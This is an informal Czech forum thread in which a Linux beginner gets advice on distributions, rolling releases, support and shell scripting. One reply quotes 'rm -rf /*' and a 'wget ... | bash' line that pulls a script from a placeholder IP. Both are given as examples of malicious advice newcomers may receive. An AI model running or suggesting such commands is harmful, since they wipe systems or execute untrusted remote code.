@krysa:
podle referenci dobra volba
Proto byl zvolen;) (neco jsem si nacetl)
pokud si zacatecnik a chces tomu porozumet, tak se v tom budes vrtat. a kdyz tomu nerozumis a budes se v tom vrtat, tak to rozvrtas a podelas. A vubec to neni na skodu - kdyz si zazalohujes data.
Urcite - vrtat se budu, v nejhorsim me to posune dal, protoze budu vedet, ze na to nemam:)
ano, ale neni to tak hrozne. v rolling release muzes obcas narazit na problem, ktery neni uplne zdokumentovan, v takovem pripade doporucuji zaptat se na IRC, ...
Na jakym irc?
...mej na pameti, ze slovem (natoz psanym) ti nikdo nemuze ublizit a minimalne jeden kterej radi sofistikovanejsi obdobu "rm -rf /*" nebo "wget -o -
http://213.444.345.12/assrape.sh | bash".
Rm rf znam, wget vim co je, co dela konkretne -o nevim (az bude linux budu vedet:)
Prikazy slepe neopisuju, snazim se pouzivat mozek (obcas to tak nevypada:)
U stable release zase mas nekdy problem, ze aplikace kterou se snazis rozbehat (neni soucasti balicku, potrebujes novejsi verzi) bude potrebovat novejsi knihovny, ktere zase budes pracne nekde shanet.. napr. jsem zkousel kompilovat na debianu freespace open a nakonec jsem se na to vykaslal.
Ja zase zkousel nejnovejsi firefox na debianu stable (kdysi)
Dalsi vec, ktera mi na nem vadi je to, ze z debianu hlavne bere, ale nic nevraci (alespon tak mi to prijde).
[/quote]
Oho idealita/on je jeste panic... kde ty lonske snehy jsou?
Nevim, nejsem idealista, jen se mi to nelibi.
Nepodcenuj jednoho odhodlaneho jednotlivce. Podivej se treba na slackware. jedno z nejstarsich a nejvic stable distribuci. Navic to ma jeste jeden aspekt, ktereho jsem se sice okrajove dotknul, ale asi ho dosti nezduraznil. Mas plnohodnotna distra s vlastnimi repositari a spravou baliku, a pak mas distra, kterym rikam pracovne nadstavby. Pouzivaji balicky, manazer balicku, pripadne i repositare plnohodnotnych dister a sami slouzi jen jako instalacni medium s par balicky navic vetsinou vzhled, configurace desktopu apod. a pokud maji vlastni repositar, tak jen protoze nepousteji nove zmeny tak rychle. V prvnim pripade je one-man-show opravdu sazkou do loterie (i kdyz vyjimky existuji), ale v druhem pripade je to naprosto v poradku a prinasi to svou hodnotu. Kdyz treba crunchbang rozhodl nepokracovat na debianu 8, tak neni problem proste udelat upgrade na debian 8, protoze repositare jsou stejne. Pekne nastaveny openbox a sladene gtk a qt theme a sadu softu, rozdeleni menu apod. uz ti nikdo nevezme a normalne muzes pokracovat na debianu stable.
Ad slackware - ano, je to super, byt na desktop nevhodne, ale az one man umre, nebude to dobre
Jj crunchbang se mi libil, na druhou stranu mi to prislo jako xubuntu/lubuntu atd - proste stejna distribuce s jinym de (mozna se pletu). Cimz nijak nesnizuji hodnotu crunchbangu - me se openbox tuze libi (cetl jsem i "navod" na fvwm, ale tolik casu tomu nemuzu venovat)
u linuxu se neplati za OS, ale za support, skoleni a potom za opravdu specializovane aplikace/sluzby. Pokud upustis chlup urcite v kazdem vetsim meste najdes nekoho, kdo ti za par piv/stovek bude radit, odpovidat, napovidat a pod. Problem je nevybrat si nejakeho pitomce, ale to asi vsude.
To urcite, jako laik to ale nejsem schopen rozpoznat
ale par lidi znam, tak by problem nemel nastat;)
jo, aplikace v textovem rezimu jsou v linuxu naprosto paradni a pro me to bylo taky lakadlo, nakonec u me krome bash prikazu a core utils prezil jenom VIM, ale presto vsechny ty textove kalendare, irc klienti, icq klienti (to uz je doba!), mail klienti naji svoje kouzlo.
Urcite - nema to tolik funkci jako nektere gui aplikace, ale je to super;) (subjektivni nazor)-navic ve spojeni s colors (pokud jdou upravit...)
pokud si na to vyhradis ty povestne dva dny nenavisti k linuxu a vedle stroj na ktery si zvykly, kde si budes moci googlit a poustet uklidnujici hudbu, tak proc ne. Rozhodne to za to stoji. Jen si vem, kolik casu si stravil kravenim nejakych veci ve windows 98 a XP. A tam jeste bez poradne dokumentace.
Zacinal jsem u 3.11 (co se tyce windows:))
pojem programator ma dneska dost siroke mantinely. Neni to nutnost, ale vedet, ze existuji nejake podminky a cykly jako if ... then ... else, for i in `find /tmp/foto/` a while ... do ... ma rozhodne smysl, neni na tom nic tezkeho a vlastne ani tak moc programatorskeho. Ale nektere ukony v obycejne praci se soubory jsou potom naprosto super - jako najit vsechny mp3 v podadresari, prejmenovat podle ID3tagu a rozdelit do adresaru podle interpret/album a jeste udealt symlink na adresare se zanrem jsou potom prikazy na jeden radek, dva radky. A co mam zkusenosti ze sveho okoli mnoho beznych uzivatelu si s tim neporadi (jinak nez bruteforce).
Jj to me na tom prave laka - ta jednoduchost a ucelnost - propojit jeste s grepem a spol
Dobre na bsd zapomenu:))
Omlouvam se za tu pokrivenou citaci, pisu z mobilu a citace jak tu je byla pro me velmi neprehledna
Nejaky kontakt na par dalsich dotazu, ktere nechci resit pres forum by byl?
@zbyso ad mint s xfce - xfce je fajn, mint "pod kapotou" by mi vadil (nerikam, ze je spatny, jen se mi z nekolika duvodu nelibi-yfce je dobry relativne odlehceny desktop, proti nemu zadna.
Nemyslim si, i kdyz jsem lama, ze by mi trvalo dva dny rozchodit wifinu (ale to se fakt jenom domnivam:))
Radeji si dam praci na zacatku a trosku si zanadavam, nez vzit neco predprivaneho abych o tom nic nevedel - to si muzu nechat windows, ktere vse zaridi za me.
(Nic ve zlem)
Jinak zatim diky vsem za odpovedi- celkem slusne me posouvaji;)